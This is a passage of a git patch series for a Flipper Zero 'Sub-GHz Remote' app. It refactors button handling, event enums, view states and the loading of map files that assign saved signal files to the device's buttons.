//Stop TX furi_hal_subghz_stop_async_tx(); @@ -183,10 +173,7 @@ void subghz_tx_stop_sub(SubGhzRemoteApp* app) { subghz_transmitter_free(app->transmitter); furi_hal_subghz_idle(); - // SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; - // TODO: need saving logic - app->tx_running = false; } static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index 13f3d63c5..d954eca02 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -18,8 +18,6 @@ #include #include -#include - #include #include #include @@ -77,10 +75,6 @@ typedef struct { SubGhzReceiver* receiver; SubGhzTransmitter* transmitter; - bool tx_running; - - uint8_t chusen_sub; - // AvrIspProgrammerView* subghz_remote_programmer_view; // AvrIspReaderView* subghz_remote_reader_view; // AvrIspWriterView* subghz_remote_writer_view; @@ -91,8 +85,5 @@ typedef struct { bool subrem_load_from_file(SubGhzRemoteApp* app); -bool subghz_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback); -void subghz_tx_stop_sub(SubGhzRemoteApp* app); \ No newline at end of file +bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); +void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter.c b/applications/external/subghz_remote_new/views/transmitter.c index a814880f9..6f43a1406 100644 --- a/applications/external/subghz_remote_new/views/transmitter.c +++ b/applications/external/subghz_remote_new/views/transmitter.c @@ -85,15 +85,6 @@ void subrem_view_remote_add_data_to_show( true); } -void subrem_view_remote_set_state(SubRemViewRemote* subrem_view_remote, uint8_t state) { - furi_assert(subrem_view_remote); - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = state; }, - true); -} - void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); @@ -148,10 +139,10 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_draw_icon_ex(canvas, 116, 17, &I_Pin_arrow_up_7x9, IconRotation180); break; case 3: - canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); break; case 4: - canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); break; case 5: canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); @@ -186,51 +177,28 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { // furi_string_reset(model->ok_label); }, false); - return false; // TODO: check - } else if(event->key == InputKeyBack && event->type == InputTypeShort) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = 0; }, - true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteForceStop, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyBack) { - return true; + return false; + } else if(event->key == InputKeyUp) { + if(event->type == InputTypePress) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 1; }, + true); + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); + return true; + } else if(event->type == InputTypeRelease) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 0; }, + true); + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStop, subrem_view_remote->context); + return true; + } } - // BACK button processing end - - if(event->key == InputKeyUp && event->type == InputTypePress) { - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyDown && event->type == InputTypePress) { - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartDOWN, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyLeft && event->type == InputTypePress) { - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartLEFT, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyRight && event->type == InputTypePress) { - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartRIGHT, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyOk && event->type == InputTypePress) { - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartOK, subrem_view_remote->context); - return true; - } else if(event->type == InputTypeRelease) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = 0; }, - true); - subrem_view_remote->callback(SubRemCustomEventViewRemoteStop, subrem_view_remote->context); - return true; - } - return true; } diff --git a/applications/external/subghz_remote_new/views/transmitter.h b/applications/external/subghz_remote_new/views/transmitter.h index 64985ff12..a324d09ec 100644 --- a/applications/external/subghz_remote_new/views/transmitter.h +++ b/applications/external/subghz_remote_new/views/transmitter.h @@ -24,6 +24,4 @@ void subrem_view_remote_add_data_to_show( const char* down_label, const char* left_label, const char* right_label, - const char* ok_label); - -void subrem_view_remote_set_state(SubRemViewRemote* subrem_view_remote, uint8_t state); \ No newline at end of file + const char* ok_label); \ No newline at end of file From 24e4c6522122a0429f876df1a8514b4ed832984e Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Wed, 17 May 2023 17:52:46 +0300 Subject: [PATCH 006/100] some improvement and cleanup --- .../helpers/subrem_custom_event.h | 66 +------ .../subghz_remote_new/helpers/subrem_types.h | 45 ++--- .../scenes/subrem_scene_openmapfile.c | 7 +- .../scenes/subrem_scene_remote.c | 171 ++++++++-------- .../scenes/subrem_scene_start.c | 54 ++--- .../subghz_remote_new/subghz_remote_app.c | 48 +---- .../subghz_remote_new/subghz_remote_app_i.c | 185 +++++++++++------- .../subghz_remote_new/subghz_remote_app_i.h | 36 ++-- .../views/{transmitter.c => remote.c} | 157 +++++++++------ .../views/{transmitter.h => remote.h} | 13 +- 10 files changed, 376 insertions(+), 406 deletions(-) rename applications/external/subghz_remote_new/views/{transmitter.c => remote.c} (67%) rename applications/external/subghz_remote_new/views/{transmitter.h => remote.h} (66%) diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index 0e0ab94ef..90d60f026 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -6,69 +6,17 @@ typedef enum { // SubRemCustomEventManagerSetRAW, //SubmenuIndex - SubmenuIndexOpenMapFile, - SubmenuIndexOpenView, // TODO: temp debug + SubmenuIndexSubRemOpenMapFile, + SubmenuIndexSubRemRemoteView, // TODO: temp debug + SubmenuIndexSubRemAbout, //SubRemCustomEvent - SubRemCustomEventViewRemoteBack = 100, - SubRemCustomEventViewRemoteStartUP, + SubRemCustomEventViewRemoteStartUP = 100, SubRemCustomEventViewRemoteStartDOWN, SubRemCustomEventViewRemoteStartLEFT, SubRemCustomEventViewRemoteStartRIGHT, SubRemCustomEventViewRemoteStartOK, + SubRemCustomEventViewRemoteBack, SubRemCustomEventViewRemoteStop, - - // SubRemCustomEventSceneDeleteSuccess = 100, - // SubRemCustomEventSceneDelete, - // SubRemCustomEventSceneDeleteRAW, - // SubRemCustomEventSceneDeleteRAWBack, - - // SubRemCustomEventSceneReceiverInfoTxStart, - // SubRemCustomEventSceneReceiverInfoTxStop, - // SubRemCustomEventSceneReceiverInfoSave, - // SubRemCustomEventSceneSaveName, - // SubRemCustomEventSceneSaveSuccess, - // SubRemCustomEventSceneShowErrorBack, - // SubRemCustomEventSceneShowErrorOk, - // SubRemCustomEventSceneShowErrorSub, - // SubRemCustomEventSceneShowOnlyRX, - // SubRemCustomEventSceneAnalyzerLock, - // SubRemCustomEventSceneAnalyzerUnlock, - // SubRemCustomEventSceneSettingLock, - - // SubRemCustomEventSceneExit, - // SubRemCustomEventSceneStay, - - // SubRemCustomEventSceneRpcLoad, - // SubRemCustomEventSceneRpcButtonPress, - // SubRemCustomEventSceneRpcButtonRelease, - // SubRemCustomEventSceneRpcSessionClose, - - // SubRemCustomEventViewReceiverOK, - // SubRemCustomEventViewReceiverConfig, - // SubRemCustomEventViewReceiverBack, - // SubRemCustomEventViewReceiverOffDisplay, - // SubRemCustomEventViewReceiverUnlock, - // SubRemCustomEventViewReceiverDeleteItem, - - // SubRemCustomEventViewReadRAWBack, - // SubRemCustomEventViewReadRAWIDLE, - // SubRemCustomEventViewReadRAWREC, - // SubRemCustomEventViewReadRAWConfig, - // SubRemCustomEventViewReadRAWErase, - // SubRemCustomEventViewReadRAWSendStart, - // SubRemCustomEventViewReadRAWSendStop, - // SubRemCustomEventViewReadRAWSave, - // SubRemCustomEventViewReadRAWTXRXStop, - // SubRemCustomEventViewReadRAWMore, - - // SubRemCustomEventViewTransmitterBack, - // SubRemCustomEventViewTransmitterSendStart, - // SubRemCustomEventViewTransmitterSendStop, - // SubRemCustomEventViewTransmitterError, - - // SubRemCustomEventViewFreqAnalOkShort, - // SubRemCustomEventViewFreqAnalOkLong, - - // SubRemCustomEventByteInputDone, -} SubRemCustomEvent; + SubRemCustomEventViewRemoteForcedStop, +} SubRemCustomEvent; \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_new/helpers/subrem_types.h index 56687977f..0bf31e6a4 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_types.h +++ b/applications/external/subghz_remote_new/helpers/subrem_types.h @@ -2,50 +2,39 @@ #include #include -/* -#define AVR_ISP_VERSION_APP "0.1" -#define AVR_ISP_DEVELOPED "SkorP" -#define AVR_ISP_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" -#define AVR_ISP_APP_FILE_VERSION 1 -#define AVR_ISP_APP_FILE_TYPE "Flipper Dump AVR" -#define AVR_ISP_APP_EXTENSION ".avr" -*/ - -// TODO: rename Filepath -//#define SUBREMOTEMAP_FOLDER "/ext/subghz_remote" -#define SUBGHZ_REMOTE_APP_EXTENSION ".txt" -#define SUBGHZ_REMOTE_APP_PATH_PREFIX "/ext/subghz_remote" +// #define SUBREM_APP_APP_FILE_VERSION 1 +// #define SUBREM_APP_APP_FILE_TYPE "Flipper SubRem Map file" +#define SUBREM_APP_EXTENSION ".txt" + +typedef enum { + SubRemSubKeyNameUp = (0U), + SubRemSubKeyNameDown, + SubRemSubKeyNameLeft, + SubRemSubKeyNameRight, + SubRemSubKeyNameOk, + SubRemSubKeyNameMaxCount, +} SubRemSubKeyName; typedef enum { - //SubRemViewVariableItemList, SubRemViewSubmenu, - //SubRemViewProgrammer, - //SubRemViewReader, - //SubRemViewWriter, SubRemViewWidget, SubRemViewPopup, SubRemViewTextInput, SubRemViewIDRemote, - //SubRemViewChipDetect, } SubRemViewID; typedef enum { // Loadin State SubRemSubKeyTypeNoData = 0, - SubRemSubKeyTypeHaveFileName, + // SubRemSubKeyTypeHaveFileName, // Key Type SubRemSubKeyTypeStaticKey = 100, SubRemSubKeyTypeDynamicKey, SubRemSubKeyTypeRawKey, -} SubRemSubKeyType; +} SubRemSubKeyType; // TODO: depricated -/* -typedef enum { - SubRemErrorNoError, - SubRemErrorReading, - SubRemErrorWriting, - SubRemErrorVerification, - SubRemErrorWritingFuse, -} SubRemError;*/ \ No newline at end of file +// typedef enum { +// +// } SubRemLoadMapState; \ No newline at end of file diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c index 67ccca1c3..504bfee2e 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -4,14 +4,9 @@ void subrem_scene_openmapfile_on_enter(void* context) { SubGhzRemoteApp* app = context; if(subrem_load_from_file(app)) { - // if(subghz_get_load_type_file(subghz) == SubGhzLoadTypeFileRaw) { - // subghz_rx_key_state_set(subghz, SubGhzRxKeyStateRAWLoad); - // scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReadRAW); - // } else { - // scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSavedMenu); - // } scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); } else { + // TODO: Map Preset Reset scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SubRemSceneStart); } } diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c index 58e253d1c..a04399cd3 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c @@ -1,5 +1,9 @@ #include "../subghz_remote_app_i.h" -#include "../views/transmitter.h" +#include "../views/remote.h" + +#include + +#define TAG "SubRemScenRemote" // TODO: // #include @@ -13,61 +17,48 @@ void subrem_scene_remote_callback(SubRemCustomEvent event, void* context) { view_dispatcher_send_custom_event(app->view_dispatcher, event); } -bool subrem_scene_remote_update_data_show(void* context) { +void subrem_scene_remote_raw_callback_end_tx(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventViewRemoteForcedStop); +} + +static uint8_t subrem_scene_remote_event_to_index(SubRemCustomEvent event_id) { + uint8_t ret = 0; + + if(event_id == SubRemCustomEventViewRemoteStartUP) { + ret = SubRemSubKeyNameUp; + } else if(event_id == SubRemCustomEventViewRemoteStartDOWN) { + ret = SubRemSubKeyNameDown; + } else if(event_id == SubRemCustomEventViewRemoteStartLEFT) { + ret = SubRemSubKeyNameLeft; + } else if(event_id == SubRemCustomEventViewRemoteStartRIGHT) { + ret = SubRemSubKeyNameRight; + } else if(event_id == SubRemCustomEventViewRemoteStartOK) { + ret = SubRemSubKeyNameOk; + } + + return ret; +} + +static bool subrem_scene_remote_update_data_show(void* context) { SubGhzRemoteApp* app = context; - //UNUSED(app); bool ret = false; subrem_view_remote_add_data_to_show( - //app->subrem_remote_view, "N/A", "N/A", "N/A", "N/A", "N/A"); app->subrem_remote_view, - // "UP", - // "DOWN", - // "LEFT", - // "RIGHT", - // "OK"); - furi_string_get_cstr(app->subs_preset[0]->label), furi_string_get_cstr(app->subs_preset[1]->label), furi_string_get_cstr(app->subs_preset[2]->label), furi_string_get_cstr(app->subs_preset[3]->label), furi_string_get_cstr(app->subs_preset[4]->label)); - // SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(app->txrx); - - // if(decoder) { - // FuriString* key_str = furi_string_alloc(); - // FuriString* frequency_str = furi_string_alloc(); - // FuriString* modulation_str = furi_string_alloc(); - - // if(subghz_protocol_decoder_base_deserialize( - // decoder, subghz_txrx_get_fff_data(app->txrx)) == SubGhzProtocolStatusOk) { - // subghz_protocol_decoder_base_get_string(decoder, key_str); - - // subghz_txrx_get_frequency_and_modulation( - // app->txrx, frequency_str, modulation_str, false); - // subghz_view_transmitter_add_data_to_show( - // app->subghz_transmitter, - // furi_string_get_cstr(key_str), - // furi_string_get_cstr(frequency_str), - // furi_string_get_cstr(modulation_str), - // subghz_txrx_protocol_is_transmittable(app->txrx, false)); - // ret = true; - // } - // furi_string_free(frequency_str); - // furi_string_free(modulation_str); - // furi_string_free(key_str); - // } return ret; } void subrem_scene_remote_on_enter(void* context) { SubGhzRemoteApp* app = context; - // TODO: reset custom btns - // keeloq_reset_original_btn(); - // subghz_custom_btns_reset(); - // TODO: init view data if(!subrem_scene_remote_update_data_show(app)) { @@ -84,63 +75,71 @@ void subrem_scene_remote_on_enter(void* context) { bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { SubGhzRemoteApp* app = context; if(event.type == SceneManagerEventTypeCustom) { - // if(event.event == SubGhzCustomEventViewTransmitterSendStart) { - // app->state_notifications = SubGhzNotificationStateIDLE; - - // if(subghz_tx_start(app, subghz_txrx_get_fff_data(app->txrx))) { - // app->state_notifications = SubGhzNotificationStateTx; - // subrem_scene_remote_update_data_show(app); - // DOLPHIN_DEED(DolphinDeedSubGhzSend); - // } - // return true; - // } else if(event.event == SubGhzCustomEventViewTransmitterSendStop) { - // app->state_notifications = SubGhzNotificationStateIDLE; - // subghz_txrx_stop(app->txrx); - // if(subghz_custom_btn_get() != 0) { - // subghz_custom_btn_set(0); - // uint8_t tmp_counter = furi_hal_subghz_get_rolling_counter_mult(); - // furi_hal_subghz_set_rolling_counter_mult(0); - // // Calling restore! - // subghz_tx_start(app, subghz_txrx_get_fff_data(app->txrx)); - // subghz_txrx_stop(app->txrx); - // furi_hal_subghz_set_rolling_counter_mult(tmp_counter); - // } - // return true; - // } else if(event.event == SubRemCustomEventViewRemoteBack) { - // app->state_notifications = SubGhzNotificationStateIDLE; //TODO: notification - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneStart); - return true; - } else if(event.event == SubRemCustomEventViewRemoteStartUP) { - if(subghz_tx_start_sub(app, app->subs_preset[0])) { - notification_message(app->notifications, &sequence_blink_start_magenta); + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, SubRemSceneOpenMapFile)) { + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, SubRemSceneStart)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } } - } else if(event.event == SubRemCustomEventViewRemoteStop) { - subghz_tx_stop_sub(app, app->subs_preset[0]); - notification_message(app->notifications, &sequence_blink_stop); - } - // notification_message(app->notification, &sequence_blink_stop); + return true; + } else if( + event.event == SubRemCustomEventViewRemoteStartUP || + event.event == SubRemCustomEventViewRemoteStartDOWN || + event.event == SubRemCustomEventViewRemoteStartLEFT || + event.event == SubRemCustomEventViewRemoteStartRIGHT || + event.event == SubRemCustomEventViewRemoteStartOK) { + // Start sending sub + subghz_tx_stop_sub(app, true); + app->chusen_sub = subrem_scene_remote_event_to_index(event.event); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateLoading); + if(subghz_tx_start_sub( + app, + app->subs_preset[app->chusen_sub], + subrem_scene_remote_raw_callback_end_tx)) { + subrem_view_remote_set_presed_btn(app->subrem_remote_view, app->chusen_sub); + subrem_view_remote_set_state( + app->subrem_remote_view, SubRemViewRemoteStateSending); + notification_message(app->notifications, &sequence_blink_start_magenta); + } else { + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + } + return true; + } else if(event.event == SubRemCustomEventViewRemoteForcedStop) { + subghz_tx_stop_sub(app, true); + subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); - // else if(event.event == SubGhzCustomEventViewTransmitterError) { - // furi_string_set(app->error_str, "Protocol not\nfound!"); - // scene_manager_next_scene(app->scene_manager, SubGhzSceneShowErrorSub); - // } - } else if(event.type == SceneManagerEventTypeTick) { - // if(app->state_notifications == SubGhzNotificationStateTx) { - // notification_message(app->notifications, &sequence_blink_magenta_10); - // } - // return true; + notification_message(app->notifications, &sequence_blink_stop); + return true; + } else if(event.event == SubRemCustomEventViewRemoteStop) { + if(subghz_tx_stop_sub(app, false)) { + subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + + notification_message(app->notifications, &sequence_blink_stop); + } + return true; + } } + // } else if(event.type == SceneManagerEventTypeTick) { + // } return false; } void subrem_scene_remote_on_exit(void* context) { SubGhzRemoteApp* app = context; - UNUSED(app); - // TODO: notifications and reset KL - //app->state_notifications = SubGhzNotificationStateIDLE; + subghz_tx_stop_sub(app, true); + + subrem_view_remote_set_presed_btn(app->subrem_remote_view, 0); + subrem_view_remote_set_state(app->subrem_remote_view, SubRemViewRemoteStateIdle); + + notification_message(app->notifications, &sequence_blink_stop); + + // TODO: notifications and reset KL // keeloq_reset_mfname(); // keeloq_reset_kl_type(); diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c index 0ad9837e9..75328ab8a 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c @@ -16,23 +16,17 @@ void subrem_scene_start_on_enter(void* context) { submenu_add_item( submenu, "Open Map File", - SubmenuIndexOpenMapFile, + SubmenuIndexSubRemOpenMapFile, subrem_scene_start_submenu_callback, app); +#if FURI_DEBUG submenu_add_item( - submenu, "Remote", SubmenuIndexOpenView, subrem_scene_start_submenu_callback, app); - // submenu_add_item( - // submenu, - // "ISP Programmer", - // SubmenuIndexSubGhzRemoteProgrammer, - // subrem_scene_start_submenu_callback, - // app); - // submenu_add_item( - // submenu, - // "Wiring", - // SubmenuIndexAvrIsWiring, - // subrem_scene_start_submenu_callback, - // app); + submenu, + "Remote_Debug", + SubmenuIndexSubRemRemoteView, + subrem_scene_start_submenu_callback, + app); +#endif // submenu_add_item( // submenu, // "About", @@ -53,33 +47,21 @@ bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexOpenMapFile) { + if(event.event == SubmenuIndexSubRemOpenMapFile) { + //scene_manager_set_scene_state(app->scene_manager, SubRemSceneStart, event.event); scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); consumed = true; - } else if(event.event == SubmenuIndexOpenView) { + } + // } else if(event.event == SubmenuIndexSubRemAbout) { + // scene_manager_next_scene(app->scene_manager, SubRemSceneAbout); + // consumed = true; + // } +#if FURI_DEBUG + else if(event.event == SubmenuIndexSubRemRemoteView) { scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); consumed = true; } - // } else if(event.event == SubmenuIndexSubGhzRemoteProgrammer) { - // scene_manager_set_scene_state( - // app->scene_manager, SubRemSceneChipDetect, SubGhzRemoteViewProgrammer); - // scene_manager_next_scene(app->scene_manager, SubRemSceneChipDetect); - // consumed = true; - // } else if(event.event == SubmenuIndexSubGhzRemoteReader) { - // scene_manager_set_scene_state( - // app->scene_manager, SubRemSceneChipDetect, SubGhzRemoteViewReader); - // scene_manager_next_scene(app->scene_manager, SubRemSceneChipDetect); - // consumed = true; - // } else if(event.event == SubmenuIndexSubGhzRemoteWriter) { - // scene_manager_set_scene_state( - // app->scene_manager, SubRemSceneChipDetect, SubGhzRemoteViewWriter); - // scene_manager_next_scene(app->scene_manager, SubRemSceneChipDetect); - // consumed = true; - // } else if(event.event == SubmenuIndexAvrIsWiring) { - // scene_manager_next_scene(app->scene_manager, SubRemSceneWiring); - // consumed = true; - // } - scene_manager_set_scene_state(app->scene_manager, SubRemSceneStart, event.event); +#endif } return consumed; diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index 1bfa3a1b3..ad6fe13fb 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -93,29 +93,8 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->view_dispatcher, SubRemViewIDRemote, subrem_view_remote_get_view(app->subrem_remote_view)); - /* - // Reader view - app->subghz_remote_reader_view = subghz_remote_reader_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - SubRemViewReader, - subghz_remote_reader_view_get_view(app->subghz_remote_reader_view)); - // Writer view - app->subghz_remote_writer_view = subghz_remote_writer_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - SubRemViewWriter, - subghz_remote_writer_view_get_view(app->subghz_remote_writer_view)); - - // Chip detect view - app->subghz_remote_chip_detect_view = subghz_remote_chip_detect_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - SubRemViewChipDetect, - subghz_remote_chip_detect_view_get_view(app->subghz_remote_chip_detect_view)); -*/ - for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { app->subs_preset[i] = subrem_sub_file_preset_alloc(); } @@ -137,6 +116,8 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->receiver = subghz_receiver_alloc_init(app->environment); + app->tx_running = false; + scene_manager_next_scene(app->scene_manager, SubRemSceneStart); return app; @@ -179,26 +160,10 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { subghz_environment_free(app->environment); subghz_setting_free(app->setting); - for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { subrem_sub_file_preset_free(app->subs_preset[i]); } - // // Reader view - // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewReader); - // subghz_remote_reader_view_free(app->subghz_remote_reader_view); - - // // Writer view - // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewWriter); - // subghz_remote_writer_view_free(app->subghz_remote_writer_view); - - // // Chip detect view - // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewChipDetect); - // subghz_remote_chip_detect_view_free(app->subghz_remote_chip_detect_view); - - // // View dispatcher - // view_dispatcher_free(app->view_dispatcher); - // scene_manager_free(app->scene_manager); - // Notifications furi_record_close(RECORD_NOTIFICATION); app->notifications = NULL; @@ -209,11 +174,6 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { // Path strings furi_string_free(app->file_path); - // Disable 5v power - // if(furi_hal_power_is_otg_enabled()) { - // furi_hal_power_disable_otg(); - // } - free(app); } diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index 7ebad702f..dac0d15b7 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -7,15 +7,16 @@ #define TAG "SubGhzRemote" -static const char* map_file_labels[SUBREM_MAX_SUB_KEY_COUNT][2] = { - {"UP", "ULABEL"}, - {"DOWN", "DLABEL"}, - {"LEFT", "LLABEL"}, - {"RIGHT", "RLABEL"}, - {"OK", "OKLABEL"}, +static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { + [SubRemSubKeyNameUp] = {"UP", "ULABEL"}, + [SubRemSubKeyNameDown] = {"DOWN", "DLABEL"}, + [SubRemSubKeyNameLeft] = {"LEFT", "LLABEL"}, + [SubRemSubKeyNameRight] = {"RIGHT", "RLABEL"}, + [SubRemSubKeyNameOk] = {"OK", "OKLABEL"}, }; -bool subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { +static bool + subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { const char* preset_name = ""; if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { preset_name = "AM270"; @@ -45,7 +46,7 @@ SubRemSubFilePreset* subrem_sub_file_preset_alloc() { sub_preset->protocaol_name = furi_string_alloc(); sub_preset->label = furi_string_alloc_set_str("N/A"); - sub_preset->type = SubRemSubKeyTypeNoData; + sub_preset->type = SubGhzProtocolTypeUnknown; return sub_preset; } @@ -61,7 +62,7 @@ void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { free(sub_preset); } -void subrem_subs_file_preset_reset(SubRemSubFilePreset* sub_preset) { +static void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { furi_assert(sub_preset); furi_string_set_str(sub_preset->label, "N/A"); @@ -71,43 +72,45 @@ void subrem_subs_file_preset_reset(SubRemSubFilePreset* sub_preset) { Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); stream_clean(fff_data_stream); - sub_preset->type = SubRemSubKeyTypeNoData; + sub_preset->type = SubGhzProtocolTypeUnknown; } -void subrem_sub_file_presets_reset(SubGhzRemoteApp* app) { +void subrem_map_preset_reset(SubGhzRemoteApp* app) { furi_assert(app); - for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { - subrem_subs_file_preset_reset(app->subs_preset[i]); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + subrem_sub_file_preset_reset(app->subs_preset[i]); } } -static bool subrem_sub_file_presets_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { +static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); bool ret = false; - - for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + SubRemSubFilePreset* sub_preset; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = app->subs_preset[i]; if(!flipper_format_read_string( - fff_data_file, map_file_labels[i][0], app->subs_preset[i]->file_path)) { + fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { +#if FURO_LOG FURI_LOG_W(TAG, "No file patch for %s", map_file_labels[i][0]); - app->subs_preset[i]->type = SubRemSubKeyTypeNoData; - //continue; +#endif + sub_preset->type = SubGhzProtocolTypeUnknown; } else if(!flipper_format_rewind(fff_data_file)) { // Rewind error - //continue; } else if(!flipper_format_read_string( - fff_data_file, map_file_labels[i][1], app->subs_preset[i]->label)) { + fff_data_file, map_file_labels[i][1], sub_preset->label)) { +#if FURO_LOG FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); - furi_string_set_str(app->subs_preset[i]->label, "N/A"); +#endif + furi_string_set_str(sub_preset->label, + "N/A"); // TODO: Standart name or part of name } else { FURI_LOG_I( TAG, - // "Loaded %s key \r\nLabel %s file %s", - 